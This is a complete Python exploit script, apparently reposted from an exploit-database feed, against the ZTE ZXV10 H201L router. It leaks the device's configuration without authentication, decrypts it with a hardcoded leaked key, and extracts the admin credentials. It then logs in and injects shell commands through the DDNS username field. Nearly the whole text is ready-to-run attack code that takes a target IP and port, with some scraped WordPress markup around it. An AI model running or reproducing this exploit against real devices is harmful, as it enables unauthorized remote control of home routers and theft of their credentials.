\n# Exploit Title: ZTE ZXV10 H201L – RCE via authentication bypass
\n
# Exploit Author: l34n (tasos meletlidis)
\n
# https:\/\/i0.rs\/blog\/finding-0click-rce-on-two-zte-routers\/<\/p>\n
import http.client, requests, os, argparse, struct, zlib
\n
from io import BytesIO
\n
from os import stat
\n
from Crypto.Cipher import AES<\/p>\n
def login(session, host, port, username, password):
\n
login_token = session.get(f”http:\/\/{host}:{port}\/”).text.split(“getObj(\\”Frm_Logintoken\\”).value = \\””)[1].split(“\\””)[0]<\/p>\n
headers = {
\n
“Content-Type”: “application\/x-www-form-urlencoded”
\n
}<\/p>\n
data = {
\n
“Username”: username,
\n
“Password”: password,
\n
“frashnum”: “”,
\n
“Frm_Logintoken”: login_token
\n
}<\/p>\n
session.post(f”http:\/\/{host}:{port}\/”, headers=headers, data=data)<\/p>\n
def logout(session, host, port):
\n
headers = {
\n
“Content-Type”: “application\/x-www-form-urlencoded”
\n
}<\/p>\n
data = {
\n
“logout”: “1”,
\n
}<\/p>\n
session.post(f”http:\/\/{host}:{port}\/”, headers=headers, data=data) <\/p>\n
def leak_config(host, port):
\n
conn = http.client.HTTPConnection(host, port)
\n
boundary = “—-WebKitFormBoundarysQuwz2s3PjXAakFJ”
\n
body = (
\n
f”–{boundary}\\r\\n”
\n
‘Content-Disposition: form-data; name=”config”\\r\\n’
\n
“\\r\\n”
\n
“\\r\\n”
\n
f”–{boundary}–\\r\\n”
\n
)<\/p>\n
headers = {
\n
“Content-Type”: f”multipart\/form-data; boundary={boundary}”,
\n
“Content-Length”: str(len(body)),
\n
“Connection”: “close”,
\n
}<\/p>\n
conn.request(“POST”, “\/getpage.gch?pid=101”, body, headers)
\n
response = conn.getresponse()
\n
response_data = response.read()<\/p>\n
with open(“config.bin”, “wb”) as file:
\n
file.write(response_data)<\/p>\n
conn.close()<\/p>\n
def _read_exactly(fd, size, desc=”data”):
\n
chunk = fd.read(size)
\n
if len(chunk) != size:
\n
return None
\n
return chunk<\/p>\n
def _read_struct(fd, fmt, desc=”struct”):
\n
size = struct.calcsize(fmt)
\n
data = _read_exactly(fd, size, desc)
\n
if data is None:
\n
return None
\n
return struct.unpack(fmt, data)<\/p>\n
def read_aes_data(fd_in, key):
\n
encrypted_data = b””
\n
while True:
\n
aes_hdr = _read_struct(fd_in, “>3I”, desc=”AES chunk header”)
\n
if aes_hdr is None:
\n
return None
\n
_, chunk_len, marker = aes_hdr<\/p>\n
chunk = _read_exactly(fd_in, chunk_len, desc=”AES chunk data”)
\n
if chunk is None:
\n
return None<\/p>\n
encrypted_data += chunk
\n
if marker == 0:
\n
break<\/p>\n
cipher = AES.new(key.ljust(16, b”\\0″)[:16], AES.MODE_ECB)
\n
fd_out = BytesIO()
\n
fd_out.write(cipher.decrypt(encrypted_data))
\n
fd_out.seek(0)
\n
return fd_out<\/p>\n
def read_compressed_data(fd_in, enc_header):
\n
hdr_crc = zlib.crc32(struct.pack(“>6I”, *enc_header[:6]))
\n
if enc_header[6] != hdr_crc:
\n
return None<\/p>\n
total_crc = 0
\n
fd_out = BytesIO()<\/p>\n
while True:
\n
comp_hdr = _read_struct(fd_in, “>3I”, desc=”compression chunk header”)
\n
if comp_hdr is None:
\n
return None
\n
uncompr_len, compr_len, marker = comp_hdr<\/p>\n
chunk = _read_exactly(fd_in, compr_len, desc=”compression chunk data”)
\n
if chunk is None:
\n
return None<\/p>\n
total_crc = zlib.crc32(chunk, total_crc)
\n
uncompressed = zlib.decompress(chunk)
\n
if len(uncompressed) != uncompr_len:
\n
return None<\/p>\n
fd_out.write(uncompressed)
\n
if marker == 0:
\n
break<\/p>\n
if enc_header[5] != total_crc:
\n
return None<\/p>\n
fd_out.seek(0)
\n
return fd_out<\/p>\n
def read_config(fd_in, fd_out, key):
\n
ver_header_1 = _read_struct(fd_in, “>5I”, desc=”1st version header”)
\n
if ver_header_1 is None:
\n
return<\/p>\n
ver_header_2_offset = 0x14 + ver_header_1[4]<\/p>\n
fd_in.seek(ver_header_2_offset)
\n
ver_header_2 = _read_struct(fd_in, “>11I”, desc=”2nd version header”)
\n
if ver_header_2 is None:
\n
return
\n
ver_header_3_offset = ver_header_2[10]<\/p>\n
fd_in.seek(ver_header_3_offset)
\n
ver_header_3 = _read_struct(fd_in, “>2H5I”, desc=”3rd version header”)
\n
if ver_header_3 is None:
\n
return
\n
signed_cfg_size = ver_header_3[3]<\/p>\n
file_size = stat(fd_in.name).st_size<\/p>\n
fd_in.seek(0x80)
\n
sign_header = _read_struct(fd_in, “>3I”, desc=”signature header”)
\n
if sign_header is None:
\n
return
\n
if sign_header[0] != 0x04030201:
\n
return<\/p>\n
sign_length = sign_header[2]<\/p>\n
signature = _read_exactly(fd_in, sign_length, desc=”signature”)
\n
if signature is None:
\n
return<\/p>\n
enc_header_raw = _read_exactly(fd_in, 0x3C, desc=”encryption header”)
\n
if enc_header_raw is None:
\n
return
\n
encryption_header = struct.unpack(“>15I”, enc_header_raw)
\n
if encryption_header[0] != 0x01020304:
\n
return<\/p>\n
enc_type = encryption_header[1]<\/p>\n
if enc_type in (1, 2):
\n
if not key:
\n
return
\n
fd_in = read_aes_data(fd_in, key)
\n
if fd_in is None:
\n
return<\/p>\n
if enc_type == 2:
\n
enc_header_raw = _read_exactly(fd_in, 0x3C, desc=”second encryption header”)
\n
if enc_header_raw is None:
\n
return
\n
encryption_header = struct.unpack(“>15I”, enc_header_raw)
\n
if encryption_header[0] != 0x01020304:
\n
return
\n
enc_type = 0<\/p>\n
if enc_type == 0:
\n
fd_in = read_compressed_data(fd_in, encryption_header)
\n
if fd_in is None:
\n
return<\/p>\n
fd_out.write(fd_in.read())<\/p>\n
def decrypt_config(config_key):
\n
encrypted = open(“config.bin”, “rb”)
\n
decrypted = open(“decrypted.xml”, “wb”)<\/p>\n
read_config(encrypted, decrypted, config_key)<\/p>\n
with open(“decrypted.xml”, “r”) as file:
\n
contents = file.read()
\n
username = contents.split(“IGD.AU2”)[1].split(“User”)[1].split(“val=\\””)[1].split(“\\””)[0]
\n
password = contents.split(“IGD.AU2”)[1].split(“Pass”)[1].split(“val=\\””)[1].split(“\\””)[0]<\/p>\n
encrypted.close()
\n
os.system(“rm config.bin”)
\n
decrypted.close()
\n
os.system(“rm decrypted.xml”)<\/p>\n
return username, password<\/p>\n
def command_injection(cmd):
\n
injection = f”user;{cmd};echo ”
\n
injection = injection.replace(” “, “${IFS}”)
\n
return injection<\/p>\n
def set_ddns(session, host, port, payload):
\n
headers = {
\n
“Content-Type”: “application\/x-www-form-urlencoded”
\n
}<\/p>\n
data = {
\n
“IF_ACTION”: “apply”,
\n
“IF_ERRORSTR”: “SUCC”,
\n
“IF_ERRORPARAM”: “SUCC”,
\n
“IF_ERRORTYPE”: -1,
\n
“IF_INDEX”: None,
\n
“IFservice_INDEX”: 0,
\n
“IF_NAME”: None,
\n
“Name”: “dyndns”,
\n
“Server”: “http:\/\/www.dyndns.com\/”,
\n
“ServerPort”: None,
\n
“Request”: None,
\n
“UpdateInterval”: None,
\n
“RetryInterval”: None,
\n
“MaxRetries”: None,
\n
“Name0”: “dyndns”,
\n
“Server0”: “http:\/\/www.dyndns.com\/”,
\n
“ServerPort0”: 80,
\n
“Request0”: “”,
\n
“UpdateInterval0”: 86400,
\n
“RetryInterval0”: 60,
\n
“MaxRetries0”: 3,
\n
“Name1”: “No-IP”,
\n
“Server1”: “http:\/\/www.noip.com\/”,
\n
“ServerPort1”: 80,
\n
“Request1”: “”,
\n
“UpdateInterval1”: 86400,
\n
“RetryInterval1”: 60,
\n
“MaxRetries1”: 3,
\n
“Name2”: “easyDNS”,
\n
“Server2”: “https:\/\/web.easydns.com\/”,
\n
“ServerPort2”: 80,
\n
“Request2”: “”,
\n
“UpdateInterval2”: 86400,
\n
“RetryInterval2”: 180,
\n
“MaxRetries2”: 5,
\n
“Enable”: 1,
\n
“Hidden”: None,
\n
“Status”: None,
\n
“LastError”: None,
\n
“Interface”: “IGD.WD1.WCD3.WCIP1”,
\n
“DomainName”: “hostname”,
\n
“Service”: “dyndns”,
\n
“Username”: payload,
\n
“Password”: “password”,
\n
“Offline”: None,
\n
“HostNumber”: “”
\n
}<\/p>\n
session.post(f”http:\/\/{host}:{port}\/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch”, headers=headers, data=data) <\/p>\n
def pwn(config_key, host, port):
\n
session = requests.Session()<\/p>\n
leak_config(host, port)
\n
username, password = decrypt_config(config_key)<\/p>\n
login(session, host, port, username, password)<\/p>\n
shellcode = “echo hacked>\/var\/tmp\/pwned”
\n
payload = command_injection(shellcode)<\/p>\n
set_ddns(session, host, port, payload)<\/p>\n
logout(session, host, port)
\n
print(“[+] PoC complete”)<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(description=”Run remote command on ZTE ZXV10 H201L”)
\n
parser.add_argument(“–config_key”, type=lambda x: x.encode(), default=b”Renjx%2$CjM”, help=”Leaked config encryption key from cspd”)
\n
parser.add_argument(“–host”, required=True, help=”Target IP address of the router”)
\n
parser.add_argument(“–port”, required=True, type=int, help=”Target port of the router”)<\/p>\n
args = parser.parse_args()<\/p>\n
pwn(args.config_key, args.host, args.port)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title ZTE ZXV10 H201L – RCE via authentication bypass Exploit ID EDB-ID:52279 Type exploitdb Published 2025-05-01T00:00:00 Modified 2025-05-01T00:00:00 CVSS Information…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-2554","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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